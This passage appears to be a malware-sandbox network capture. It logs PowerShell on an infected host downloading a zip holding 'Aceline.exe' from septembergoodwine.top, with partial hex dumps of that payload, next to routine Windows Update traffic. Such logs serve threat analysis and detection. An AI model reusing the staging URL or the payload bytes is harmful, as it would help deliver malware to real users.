ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49751	104.21.16.1	443	7348	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:24 UTC	184	OUT	GET /frendly/manchester HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: septembergoodwine.top Connection: Keep-Alive
2025-05-21 19:48:24 UTC	1030	IN	HTTP/1.1 200 OK Date: Wed, 21 May 2025 19:48:24 GMT Content-Type: application/octet-stream Content-Length: 3057469 Connection: keep-alive Server: cloudflare X-Frame-Options: SAMEORIGIN X-Xss-Protection: 0 X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Referrer-Policy: strict-origin-when-cross-origin Content-Disposition: attachment; filename="DATA_FILES_10.zip"; filename*=UTF-8''DATA_FILES_10.zip Content-Transfer-Encoding: binary Cache-Control: no-cache X-Request-Id: c9797e27-c911-4b3c-9fad-0a108f642469 X-Runtime: 0.001625 Strict-Transport-Security: max-age=63072000; includeSubDomains Cf-Cache-Status: DYNAMIC Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=DTEdn02Etgb3A6kSTnxCM0BKaRJXp6LdAPz2q9gjkuWO5%2Byc%2FfSB55vdnrsUuKbeVH%2FbnL7mMkyvNTqZaI37siAtcoIyB4mSNpBDyEdW0PehfqPGlw%3D%3D"}]} CF-RAY: 943697548ebb7c1b-LAX alt-svc: h3=":443"; ma=86400
2025-05-21 19:48:24 UTC	1460	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 c6 0a b5 5a 3d 8a a3 a4 c5 a6 2e 00 98 bd 5a 00 0b 00 00 00 41 63 65 6c 69 6e 65 2e 65 78 65 e4 5a 7b 78 54 45 b2 3f 93 cc c0 40 42 ce 04 33 3a 6a 94 41 c6 dd 00 91 8c 06 34 ec e4 6a 0e 99 2c 3d 32 79 20 af 80 01 82 01 15 cd 2a 1f 26 0a 6e 3e 4c 76 88 30 db 8c e2 e7 15 d4 8b 57 16 e5 0a f7 c2 82 fb 29 1b 1e bb 4e 1e 90 04 02 44 74 25 6a 58 10 79 9c 10 d0 90 20 04 65 3d b7 aa fb cc eb 64 12 ef ff 77 3e 9d ee ea ae ae 5f 55 75 75 55 f7 84 dc 39 6b 85 58 41 10 f4 f0 bf a2 08 42 8d c0 3f 59 c2 2f 7f ac 3a 41 48 18 b1 27 41 f8 68 c8 e1 91 35 3a f7 e1 91 d3 9f 5c fc 9c 75 c9 d2 67 9f 58 ba e0 77 d6 92 05 cf 3c f3 6c 99 f5 b1 45 d6 a5 e5 cf 58 17 3f 63 75 e6 4f b3 fe ee d9 85 8b c6 0d 1b 36 d4 a6 ca 28 68 70 37 24 6d be 6b 7d e0 ff Data Ascii: PKZ=.ZAceline.exeZ{xTE?@B3:jA4j,=2y *&n>Lv0W)NDt%jXy e=dw>_UuuU9kXAB?Y/:AH'Ah5:\ugXw<lEX?cuO6(hp7$mk}
2025-05-21 19:48:24 UTC	1460	IN	Data Raw: c7 1f 8a fe ff e1 9d 68 f6 17 06 ec e7 f8 29 d1 f0 9f 0e e2 2f e6 f8 07 f3 a2 d8 1f c2 e7 f9 ae 63 1b cb 77 5f a0 ed bb 65 96 ef ea 02 59 63 6a 90 39 c4 5f c5 f9 7f 86 97 89 ec d5 f0 8f 8c c2 3f 9b f3 cf 44 f9 b3 35 fc 97 bf eb cb 7f 2f e7 cf 43 fe d1 1a fe da 28 fc 06 ce ff 1d ea 73 fd 7c 24 ff 6b 51 f8 87 70 fe 7f 22 7f b3 86 7f 41 14 fe 13 ff c3 f8 5f 46 fe b7 34 fc f7 46 e1 ff 90 f3 e7 21 ff 62 0d bf 2e 0a bf 97 f3 3f 88 fc 13 35 fc 9f 5e 0a e7 87 f7 0a e6 fb 7d 97 82 f9 74 08 e6 d3 6d 01 ba 4f 3c 75 9f 04 99 9b ff 23 4a 3c 15 cc 54 e3 e9 d7 ef b0 78 ea 8d 76 9e 6e 8f 0d c4 d3 ad 33 59 3c fd 77 94 78 1a 17 54 31 90 ff 4e b2 fc 37 83 ad d8 c2 eb c3 fe 93 e1 f9 ef 62 50 ff b7 d0 9e 8b 1a ba 5d 43 b7 68 e8 7d 21 9a d5 ef 6d 1a 7a 43 88 de 8d f4 9a 00 ad Data Ascii: h)/cw_eYcj9_?D5/C(s\|$kQp"A_F4F!b.?5^}tmO<u#J<Txvn3Y<wxT1N7bP]Ch}!mzC
2025-05-21 19:48:24 UTC	1460	IN	Data Raw: 64 76 a4 e0 0d 4f 68 2b 50 f8 c7 07 a0 fc 81 14 07 0e 50 cc cf ab 6f ca 82 3e 39 1e 76 72 f7 17 2c 77 f3 d1 e0 fe be f7 45 94 fd 3d f2 ed 2f ee ef 76 31 90 b0 ee e7 fb fb f6 b7 03 ed 2f a1 2e 0b 04 f8 a2 19 6a 80 87 e5 43 7a 9d 9d 68 e0 b0 47 1c c1 c4 b0 c3 6d 90 1d 4c 7c 7e ca 00 2c 16 ce 62 1d 80 e5 87 d3 8c c5 32 00 cb 31 ce 62 1a 80 65 07 67 31 0e c0 b2 86 b1 88 fd a7 a2 a7 4f 07 dc c5 7c d5 28 c5 f3 5d c4 34 f0 d0 f4 b4 c8 6a 1c b6 5f 53 fe 11 b9 5f 26 dc af 3b 4f 6b f7 2b 98 cf e5 49 7a 14 1b d7 98 cd 01 90 05 20 da a7 45 42 a8 f7 4b 08 48 1d 3b 00 91 d1 af e6 a3 99 c1 1a d1 4d 5d f1 4a 2d dc 83 8c 92 a3 69 c5 1c bc fb db 69 ed 5b be e5 c6 b1 75 9f f6 c6 f6 7a ce f7 3a 1d 8d 65 13 01 b8 5a 59 71 37 29 39 4e 6a 4f c7 e2 55 0f 0e c2 41 c5 bc 68 1a ab Data Ascii: dvOh+PPo>9vr,wE=/v1/.jCzhGmL\|~,b21beg1O\|(]4j_S_&;Ok+Iz EBKH;M]J-ii[uz:eZYq7)9NjOUAh
2025-05-21 19:48:24 UTC	1460	IN	Data Raw: 01 7e a3 bc 08 5e e0 e2 27 b9 5c b2 a7 f6 16 10 7e f4 5a 47 84 f0 55 7e b0 18 00 ec 4e ef 07 0d 2c 10 5e ad 61 47 68 eb 94 30 98 f7 91 f0 ae c2 19 40 fa ab 3f c4 18 06 f8 01 66 1f f9 32 be 64 3d fb 63 88 a7 d1 e2 72 5c 12 d7 8c 84 fa 2a 2d 3e 9a 0a d9 9d e9 01 0a fc 58 ab 0c a3 8d a8 40 2f f5 6c 81 7d 76 f4 a2 02 ef 6d 63 bf 1c d0 8d 3a 54 20 85 29 70 94 2b 30 8a 29 e0 c1 19 da e8 dd bb 25 c4 18 54 40 7e 01 90 01 28 bb 3f 20 39 04 74 91 af 3f c5 80 3e 79 38 0c 68 cf c3 0c e8 94 0a 24 87 18 43 40 09 1c 08 ff 60 17 15 a8 26 04 b4 8f af df c9 80 66 86 03 4d e5 40 3b 55 a0 9a 10 63 08 68 f3 79 06 d4 da 1f 50 6f 08 e8 06 5f df c5 80 2e b9 c2 80 64 17 03 ea 52 81 7a 43 8c 21 a0 4c 0e 34 a3 3f a0 a6 10 50 0b 5f ef 67 40 2b c3 81 5e e2 40 7e 15 a8 29 c4 18 02 fa Data Ascii: ~^'\~ZGU~N,^aGh0@?f2d=cr\*->X@/l}vmc:T )p+0)%T@~(? 9t?>y8h$C@`&fM@;UchyPo_.dRzC!L4?P_g@+^@~)
2025-05-21 19:48:24 UTC	1344	IN	Data Raw: 09 30 60 c8 01 11 f9 39 ae eb 25 66 d7 61 18 7c 4c ab fb 39 7b 84 b1 99 d5 5f f0 0b c3 ea 83 39 ff 50 9c be c9 62 e1 f6 7e c1 66 50 1e 2e 4e 84 b2 f5 31 13 bf 37 6e e2 1b cd 26 7e 6f d4 c4 ef 8d 9b f8 bd 51 13 bf 97 9b f8 46 b3 89 df 1d 37 f1 8d 66 13 bf 3b 6a e2 77 c7 4d fc ee a8 89 67 65 a0 71 ef 01 11 fd 00 74 70 0e 08 e5 59 f0 f6 70 8e 1e 54 c3 b9 a8 53 99 2a 04 84 8f b9 26 c6 da 52 d4 64 4c 9d a5 a3 ba 2e 43 35 79 cc 54 1e d7 c6 f7 70 6d ec 02 6d 7c 0f 83 25 30 9e 17 c6 ca 8f 6b 79 b1 f4 c2 e8 d0 84 b7 bb 0e bc 97 c3 17 02 bc 97 c1 57 00 7c 39 74 2b b9 01 f8 0a de ee 3a f0 e5 1c be 14 e0 cb 01 b8 06 3a ac 61 c3 ac 33 c3 b7 27 e1 ae 63 cd d8 b0 65 47 b9 79 1c 09 df 05 f0 35 1c 7e 2d c0 d7 20 ac ba 93 1b da ed dc 66 6d 4a 32 55 c6 32 5a 12 87 e3 9d a2 Data Ascii: 0`9%fa\|L9{_9Pb~fP.N17n&~oQF7f;jwMgeqtpYpTS*&RdL.C5yTpmm\|%0kyW\|9t+::a3'ceGy5~- fmJ2U2Z
2025-05-21 19:48:24 UTC	1460	IN	Data Raw: d2 b7 d4 a0 6f f8 ed 6f a0 6f c2 fe 7e 76 bf c9 5e 50 75 0f 93 cf 17 e6 31 fd 4f c2 db c7 21 e6 52 d2 b6 68 85 85 d5 6c e0 35 f9 e1 57 52 59 4d 7e db 22 2f af f9 47 5e 03 d4 12 5d 71 6a 59 b8 d1 58 f1 f6 e8 46 03 16 91 d7 bb 35 6e 81 59 3c 3a 1a 8e 26 3c 1c 5d c9 d2 50 48 65 8b a2 d6 c4 c3 d1 5c 3f d3 45 d0 2a 29 1c ad 18 e1 e8 8b c1 59 16 7d a9 c3 df 34 54 93 26 d3 54 23 35 a3 0b 78 6a 44 a1 9b 15 ae 53 10 9d 4e 6e 5b 64 a4 ea 18 f1 e8 87 c1 40 6b 73 93 0c 74 54 9f de 82 49 5d b3 51 38 c2 bb 5e c2 fc 7b 9f 33 6c f9 39 e6 a9 f9 b2 c2 75 f2 38 cb ce 83 39 0c ac 93 31 bb 7f c5 5b 93 4d 51 59 13 3f 58 62 d0 d0 8c 58 7e 20 7b 3e 9b f0 0c bc bf 35 91 f7 63 a6 f3 fc ad f3 79 5e 98 83 e1 0a 96 cf f3 8a f1 35 4d cf ac c3 af 23 f3 79 34 8f 95 65 f2 d8 8c 4c 9e 7b Data Ascii: ooo~v^Pu1O!Rhl5WRYM~"/G^]qjYXF5nY<:&<]PHe\?E*)Y}4T&T#5xjDSNn[d@kstTI]Q8^{3l9u891[MQY?XbX~ {>5cy^5M#y4eL{
2025-05-21 19:48:24 UTC	1460	IN	Data Raw: 56 c9 22 ce 01 9a 38 c7 ad 7a 06 03 5b ae 15 ec ba 13 f8 c2 2e 3d 0b f1 d2 b3 04 2f 3d 2b ea 04 71 4e 5f 9d 0d a3 5e 73 60 39 e9 2b b3 b0 24 8c 25 97 e1 f1 f1 6c ef d6 49 8a 56 9e bb 56 a6 2b 73 64 5a ed 92 e9 c7 86 3e 50 68 33 88 c3 2e 85 f6 04 2e d8 3c 81 0b a2 ad 99 c5 a3 ba 43 91 14 78 12 5b 3f c4 37 ea 76 fc ca 82 2f d2 f4 d6 2e 25 f0 e1 36 e5 2b c3 bc 9f b4 20 5d c4 95 ed 62 59 a7 98 0e 5a 25 04 e6 30 6c ad fd 64 e0 67 ab 77 5e b7 9e a1 cd 42 f7 f4 c6 f0 a6 5d 1f cf 13 38 6f 13 b7 fc 8e c9 fe 87 1e da 83 b9 44 5b 30 54 42 02 57 ed 55 1b fc b4 5d d1 7e 30 ac b8 3b 64 90 5b 19 65 d6 63 5f aa 65 33 b9 8d 8e bf da 23 fe cc 6b 1d 26 5a 21 8c 10 e4 51 98 f4 c2 4b 58 ac 58 07 c5 95 1d fc 6e 3a 9d 0c f2 96 5f 9a 5a 7d c9 5b 45 4c ad 22 32 48 47 ed 6b 8a f4 Data Ascii: V"8z[.=/=+qN_^s`9+$%lIVV+sdZ>Ph3..<Cx[?7v/.%6+ ]bYZ%0ldgw^B]8oD[0TBWU]~0;d[ec_e3#k&Z!QKXXn:_Z}[EL"2HGk
2025-05-21 19:48:24 UTC	1460	IN	Data Raw: 42 10 f0 8c c8 15 20 2a 7c a4 c3 07 14 38 32 e0 79 22 3c 4e e4 d5 02 56 a3 67 03 1f 50 a0 64 38 a1 60 09 7c a4 2f 81 a9 34 e7 44 e5 bf af 7a 1a 6a 54 77 cb 15 94 fd 09 d0 c8 7a 85 2f 4a e0 3a 65 e4 7d 68 34 f2 4e 60 1f 88 fb 40 17 84 fc e0 98 04 ce 45 08 bd a8 d0 cf c9 fd e8 b4 89 3b 30 7d 94 d1 43 a1 67 fc ee b3 fe 26 5d dc 71 1f 26 b0 85 be b6 2b 5a 71 c4 2b ee eb 04 07 c2 a7 2d 38 0b a7 e6 f0 43 93 50 73 d7 09 8a f4 e7 6a 37 98 c7 f8 7e 51 e8 e2 08 d1 7e 14 f1 d0 42 41 f2 08 55 69 75 93 f0 f2 00 cc 81 74 a5 ea 02 91 fe 54 0d 53 19 4f 4b 84 98 bd 4e 2d 28 11 aa 26 d5 4d c0 cb 0e a8 af 02 ff e2 a4 42 db a2 f5 d2 7b d5 f3 13 fc db f1 0a 9d 48 89 e0 91 64 a1 6a 6a dd 6d 44 ba 52 33 01 50 14 75 32 fe e7 1c 04 09 34 03 d0 7b 55 27 fc 52 eb bf 14 c9 1a 89 ac Data Ascii: B *\|82y"<NVgPd8`\|/4DzjTwz/J:e}h4N`@E;0}Cg&]q&+Zq+-8CPsj7~Q~BAUiutTSOKN-(&MB{HdjjmDR3Pu24{U'R
2025-05-21 19:48:24 UTC	1460	IN	Data Raw: 8e a3 1d 6e 89 49 50 78 dc 08 98 e4 23 a4 bc 02 73 c5 10 af 62 f6 28 17 7a 19 cc 89 24 51 42 37 a1 3c c9 5c 71 91 47 19 27 e2 2b 76 61 34 0d b2 da 3c ca 30 0f c3 ed 30 39 73 27 00 81 d5 f1 6a 3c ca 70 a8 06 de 41 35 a3 e2 aa 19 85 af 62 ab f1 28 90 3c 4c 67 a7 99 7b a0 26 99 4d 49 f7 e2 b2 47 b9 f4 fa 2e 74 2b 98 e2 65 17 51 49 48 84 94 8b 08 d6 54 09 c4 8e 48 bb a9 5e 4c 02 48 47 e2 9c b7 70 90 f2 39 48 5e e4 15 23 09 d0 7c de fa cd 50 00 5e c0 32 47 f9 20 a5 50 c6 7c 66 32 0a 78 58 02 2f ef 88 74 c9 00 6b b9 37 26 f5 42 2f a6 26 44 fb de 97 31 62 55 f8 57 c7 c7 16 33 3e b6 81 e3 63 03 a0 6d fd c6 87 a7 0d 3e 3e 36 5e 4d ff f1 e9 ab a6 6f 7c f4 6a 06 1f 1f 37 83 d2 17 52 26 ac 4f 06 98 fa c6 87 27 c6 8d 4f b4 dd 81 e3 03 af f2 6d 03 c6 87 b7 1e 3b 3e 3c Data Ascii: nIPx#sb(z$QB7<\qG'+va4<009s'j<pA5b(<Lg{&MIG.t+eQIHTH^LHGp9H^#\|P^2G P\|f2xX/tk7&B/&D1bUW3>cm>>6^Mo\|j7R&O'Om;><
2025-05-21 19:48:24 UTC	833	IN	Data Raw: eb fa 9b 34 7c 73 40 7f 03 38 f0 0b fd f4 3d 76 b1 cc 8a 7c 72 69 e1 5c 39 38 3a 2c db 77 54 7e 67 81 78 6f cb e7 e2 87 21 6e 08 c8 32 a0 7f f8 1a 1c 0b b4 b3 db 77 f8 7b 60 8e dd 21 6e f0 a4 df 2e 6e 70 a6 df 2b ae 6b 17 d7 ed 0c 77 1b 01 d5 65 3a a5 01 9e 3c 2c 95 f0 8e 64 e0 15 9d 7b 24 76 40 7c b4 19 51 57 22 69 37 e6 22 25 64 03 ee 70 93 b1 d2 c8 6e 49 8c 80 01 c2 61 18 20 d8 09 10 80 12 de 5e 99 0a 20 0c fb 49 42 e5 18 6c 1e 12 fc 9f 10 a5 05 d6 21 b5 ce c2 c6 76 68 d6 cb 8c c0 c3 03 ad 20 69 ba 1c 1e 7b af 58 9f 4e 9c 86 4f 02 7d 12 5b 9a e8 64 91 d7 81 ec db c9 52 04 4f f0 a9 74 e4 09 6e 76 6b 86 9b 55 64 bb d9 b2 5c 37 7b 1f d9 78 94 81 f7 c9 07 41 d3 c6 47 74 ee e0 26 d6 10 39 12 17 39 26 c4 a6 97 68 d6 d7 8f 67 21 91 32 9c a6 f1 4d b3 f5 fd 92 Data Ascii: 4\|s@8=v\|ri\98:,wT~gxo!n2w{`!n.np+kwe:<,d{$v@\|QW"i7"%dpnIa ^ IBl!vh i{XNO}[dROtnvkUd\7{xAGt&99&hg!2M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49752	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:44 UTC	309	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YpUTyLr5k7Fb2Gl&MD=MccxyMTh HTTP/1.1 host: slscr.update.microsoft.com accept: / user-agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 accept-encoding: identity
2025-05-21 19:48:44 UTC	541	IN	HTTP/1.1 200 OK cache-control: no-cache pragma: no-cache content-type: application/octet-stream expires: -1 last-modified: Mon, 01 Jan 0001 00:00:00 GMT etag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" ms-correlationid: ace6b8f5-68f7-4e61-8b3d-2d6feff78d7c ms-requestid: 11a77c4d-38f9-47ee-bd54-5bfbc870dbf6 ms-cv: kwRjp9OVbkqCDken.0 x-microsoft-slsclientcache: 1440 content-disposition: attachment; filename=environment.cab x-content-type-options: nosniff date: Wed, 21 May 2025 19:48:42 GMT content-length: 30005
2025-05-21 19:48:44 UTC	1460	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2025-05-21 19:48:44 UTC	1460	IN	Data Raw: 25 dc 93 6a 9f d2 e0 c1 ea a0 79 31 c4 ab 34 9c e1 43 a8 b3 7e 55 3a 43 6e 5b 8c bc 1c ac b5 c5 db f6 d5 6b 9a 98 b7 61 91 ec 20 ed 8b 6b 6b 17 65 25 d4 6a aa b6 ca 84 bd 36 98 48 0e 5e cd 7c b0 80 4f 8a 29 1a bd 79 0a 95 15 94 2c 8d 46 d3 90 66 2a a1 20 71 50 9b 63 14 ba 66 53 25 93 57 c9 de 70 e3 0a f9 95 e5 f6 30 46 8b 99 e7 52 08 31 34 2a fb 7b 19 1f 7d d2 b0 1d 12 db 90 d7 13 2b 94 d3 2c 24 3c da 5c c7 eb 72 6a b9 b9 58 16 5c 90 d7 e5 cd 92 95 32 0d 6b cf 04 8d 4e 78 08 6b 05 10 2b 3f 35 f1 9b 05 cf 25 b3 f8 b8 80 45 47 a6 3f 98 fb 9d 6d bb 59 60 bf 35 2a 6a 71 da 05 32 46 9c 40 06 81 a2 d0 24 13 09 4e 44 ad c8 6d e0 34 6a 19 a9 18 60 e4 00 e9 b7 1d ae 08 07 c3 31 50 c7 68 68 e8 50 28 40 75 d8 01 17 46 0a 23 66 bd 70 60 ba 6d fe d2 9a c3 39 9c fb a0 Data Ascii: %jy14C~U:Cn[ka kke%j6H^\|O)y,Ff* qPcfS%Wp0FR14{}+,$<\rjX\2kNxk+?5%EG?mY`5jq2F@$NDm4j`1PhhP(@uF#fp`m9
2025-05-21 19:48:44 UTC	1460	IN	Data Raw: 88 13 d2 ca b4 06 b4 39 d4 f9 dc 75 86 ec f8 71 28 61 7c 4c c7 63 c8 ea 15 e7 75 7d 6d 29 70 2a 71 c0 e4 ec e9 97 37 59 2c ef da 63 ae b1 f3 e5 0b 3b cf df 39 d7 39 fa 82 03 6e ce 5d df 9a 7e b1 21 8c f5 e5 b9 a1 86 fb 42 cd 8f 80 65 85 b7 9b da 6d 66 ca ea e3 34 46 3b 0d 3a b7 43 5e 3d 7a 57 67 f5 fc 5c 06 83 b4 c2 d8 63 75 21 29 ed dd c1 86 8d 5d 43 f3 49 fd 3d 76 02 f5 6a 5c 57 4b 0c 0f 16 4c dc ae 2c 6b d6 f7 77 f2 a8 5d 45 e3 67 7b 15 83 04 9a 73 32 62 e8 67 d8 7e c1 4c 27 14 66 da 01 f8 70 cc af 50 49 02 86 a1 cc 11 74 0c 24 7f 15 ad 28 be 9d 40 0c 81 9d a0 c6 02 69 80 3c 40 a6 20 29 90 04 80 7d 78 26 1e ec 70 98 20 80 f0 1b 08 60 00 70 d4 d7 e1 d0 c7 a1 d0 95 43 18 82 b8 25 55 45 8c a6 3c b1 98 db 86 78 7d 26 94 17 d0 3b 82 42 0d 40 0d 50 49 53 4a Data Ascii: 9uq(a\|Lcu}m)p*q7Y,c;99n]~!Bemf4F;:C^=zWg\cu!)]CI=vj\WKL,kw]Eg{s2bg~L'fpPIt$(@i<@ )}x&p `pC%UE<x}&;B@PISJ
2025-05-21 19:48:44 UTC	1460	IN	Data Raw: 9e 4c 48 88 5f 1b 99 a2 79 07 02 1f 96 7e 0e 91 7d ff 94 85 f8 7a 67 50 22 aa 5f 9d b1 ea a1 e7 40 3d e0 af d4 09 80 e0 46 08 01 02 dc 7c 87 51 31 df 61 b4 fc b5 f8 5f f9 9c 7e 37 d4 2e 33 2b bb ab b5 2d 61 e9 d4 86 25 79 97 ff 9e 60 01 ae e6 85 4f 0d 70 27 cb 1c ca cd c6 bb 4c ee e3 f1 e7 bd 04 1a c4 ed 5f ae e6 74 15 34 ce df 79 d8 bc c2 5b 3a 92 70 aa 60 87 34 ac 37 4f 07 1b c3 55 5a 75 15 93 ac 8f 49 e2 e4 eb 89 76 36 16 f0 83 b7 d5 bb 9f 67 2f 58 2c 57 77 4a 51 b7 7d ea c5 74 6c 12 68 7c 96 77 f7 76 81 a8 ad 31 99 b2 9b a5 fe 82 2e a8 87 5d 00 c3 8c c5 2b de 55 90 4a db 4b 20 93 f0 89 59 6d 27 da 83 c9 06 97 5b cf e2 8c 3a da b1 f1 9f 15 df ae f8 48 9f 72 16 a2 76 86 7d ce 3a 98 57 9f df 1b d0 21 92 e5 7e 21 70 a6 89 08 f9 40 7b 4f 81 e4 ad 37 f1 88 Data Ascii: LH_y~}zgP"_@=F\|Q1a_~7.3+-a%y`Op'L_t4y[:p`47OUZuIv6g/X,WwJQ}tlh\|wv1.]+UJK Ym'[:Hrv}:W!~!p@{O7
2025-05-21 19:48:44 UTC	1460	IN	Data Raw: ec 5b ba a1 ad f4 7e b4 36 22 6b 2a 3a ea b1 10 bb 5a d2 82 b3 0d ce 73 7e 0e e7 48 44 3b 1f 73 dd 54 69 30 7d cb f8 b3 28 bf 32 cd a8 91 6d 34 ad bb 0e d6 22 89 e7 eb 96 b3 8a bc 59 04 0a 5e bc 0b 94 99 3b ef f8 9c bb b7 31 08 30 50 61 9f 34 7d fc aa 6a 32 22 64 fa 76 01 58 be a6 de 25 8f 4c df ca 78 6c 2b 26 9a 9a 4a 74 8f a6 d3 ed aa 44 e2 79 8f 57 ad 97 78 47 09 43 fb f6 b2 69 ae fa ed 0e a6 c8 bc 2d 77 e5 1a be 7a c9 bf 7a 38 df 8f 7f 89 5f 71 93 cd f1 3e a1 da 7c 03 1a 34 f3 b5 5b 8e 92 80 7b dc 29 5e 24 de 2a fe 87 0a 59 f2 e5 dc f9 04 df 73 8a c3 c5 46 cd eb bd 03 6e a2 52 ca 4d 3c 42 8a 91 90 5a 49 6b 4e fc c5 eb 6a e7 27 5f d7 d9 92 eb 99 80 dd 9e 5b 65 18 f5 33 5f 86 4c f2 90 bb f6 e7 d2 ac 36 6f 13 62 f5 9b 39 9d 78 c6 6f 1e a6 9f 96 13 48 6b Data Ascii: [~6"k:Zs~HD;sTi0}(2m4"Y^;10Pa4}j2"dvX%Lxl+&JtDyWxGCi-wzz8_q>\|4[{)^$YsFnRM<BZIkNj'_[e3_L6ob9xoHk
2025-05-21 19:48:44 UTC	1460	IN	Data Raw: e0 22 b7 3c 63 7a e6 a3 86 23 e7 30 2c a5 42 31 a2 ae 1d 00 01 77 ff 02 a6 f0 eb 0b 87 ba f9 f4 b0 9c 8b e6 cf 6e 16 c7 b8 4c f1 8c b4 47 9e 54 c6 be 45 47 91 4e 78 c0 25 c3 da 17 f4 70 5a ff 27 b0 83 21 21 a0 e4 ae fa e7 11 5b d1 a2 1b 58 46 ba 4f bb ee 07 59 6e f4 ab 0a 81 03 c1 db 6d e1 39 50 02 d9 13 3a ab 49 21 bc e7 4b f7 77 6a 95 6b 49 fb ce 2e 4c aa 8c 55 4e a9 ed f2 4b ba 33 65 99 89 da 5f 69 11 cd d0 da 26 9d ba bf 75 33 7c 68 ce 52 23 f7 6e bc 71 bd c0 f4 4c 0b 5d 99 f0 e8 ca 66 97 be 7a a9 35 72 a3 de 49 98 95 65 3a c9 e6 ee 0c cd 45 69 a7 49 e7 1e fb 4f 4f 15 f7 a3 06 9f 47 bd ab 57 ad de 78 c8 98 dc 16 dc f3 dc dc 55 83 32 68 7c fe e1 8e ea 62 90 73 ac a2 96 77 af 48 45 bf 78 17 b3 09 a7 a0 ca 83 66 1e 5a d1 e5 90 4f 7e a6 0b 01 21 3a 95 a5 Data Ascii: "<cz#0,B1wnLGTEGNx%pZ'!![XFOYnm9P:I!KwjkI.LUNK3e_i&u3\|hR#nqL]fz5rIe:EiIOOGWxU2h\|bswHExfZO~!:
2025-05-21 19:48:44 UTC	1460	IN	Data Raw: 32 1b 0a 18 02 7a 78 07 ff b7 e4 2c d8 df 5c 0f 2a b6 bb 00 9c 87 d0 82 ba 63 31 84 2a c7 46 98 eb 69 7b ca ce 9c e6 4a 57 82 55 9d 16 93 e4 b5 57 d0 fa 9c 13 8a fb e0 26 aa cb 42 66 b1 8c b9 47 81 8f 78 e3 fb 48 3f d3 f1 e2 b2 3b da 37 b9 e7 72 09 2f 28 74 c5 3e 08 59 00 a5 23 c9 e2 00 24 d9 ad 9f 24 21 fe a8 3a df 1f 25 21 0e a8 2a 9b 7f 22 09 51 ff 59 12 22 01 43 82 45 51 0d 42 bf 2f 09 89 de 9f 4c c9 db 61 c0 ef 3e d3 70 fe f1 53 0b 5c 79 ac ed 1b 14 3c 55 e6 4d a6 39 95 45 ed 70 7c 08 dc 92 bb c1 42 6b e0 27 49 08 37 a7 00 02 f1 4d 12 f2 3a 2b a0 03 08 78 f1 a7 6c c7 af 6c 11 f6 71 b6 48 c2 c1 c2 15 65 9e c7 e2 24 04 13 c0 70 d4 8d da 51 c3 da c6 c2 de fc 1b fb 24 28 0d 00 1c 00 9f 0c c0 21 2d c4 2b f0 af 6b 41 16 01 24 3a 0d 80 44 c3 38 a6 05 59 7f Data Ascii: 2zx,\c1Fi{JWUW&BfGxH?;7r/(t>Y#$$!:%!*"QY"CEQB/La>pS\y<UM9Ep\|Bk'I7M:+xllqHe$pQ$(!-+kA$:D8Y
2025-05-21 19:48:44 UTC	1460	IN	Data Raw: 7c 24 f8 a0 ce fd 7a 40 64 78 d4 ba d0 e2 f2 bf a4 fc f8 e2 50 c0 60 d0 a5 93 cd 3c de 94 69 0f 58 bd 36 18 c4 18 88 b1 82 8a 48 29 e9 2a 82 cf 65 09 86 26 8b dc 0b 7d bc be 1c f4 58 aa f5 29 c8 ea 5a 78 49 52 be 34 5b fd 1e 8f 4e 87 e0 ce 85 57 93 e2 f3 cf 81 d3 11 8f a5 b2 a4 79 d3 68 e4 07 e8 4e 36 bd 4c 8d 0d 77 9b 0b de f5 6b e4 6f e1 7f cd 83 97 50 96 71 e7 35 a7 8f 91 df 93 06 62 9c c9 b1 75 aa 1e 01 c3 a0 d1 c7 1f 72 06 82 e0 58 00 02 d7 0a cd a4 eb a5 3e 5d c7 86 55 ab e9 22 f1 63 09 2d 9d 13 3e 49 38 57 5c d8 83 67 c1 75 c5 48 f3 65 71 9a a2 b0 a6 47 e8 32 13 f5 41 d5 cc 6d 22 a3 c4 bb 85 55 d2 db 8a a2 79 30 ce 1e a7 f3 90 19 ec 12 95 c4 54 46 a6 8f 96 54 04 f3 6d 0c 27 c7 22 b3 1e f0 47 da b5 bb ec 28 a7 bb 79 3e 7f 40 cc 97 48 c3 94 f8 d8 df Data Ascii: 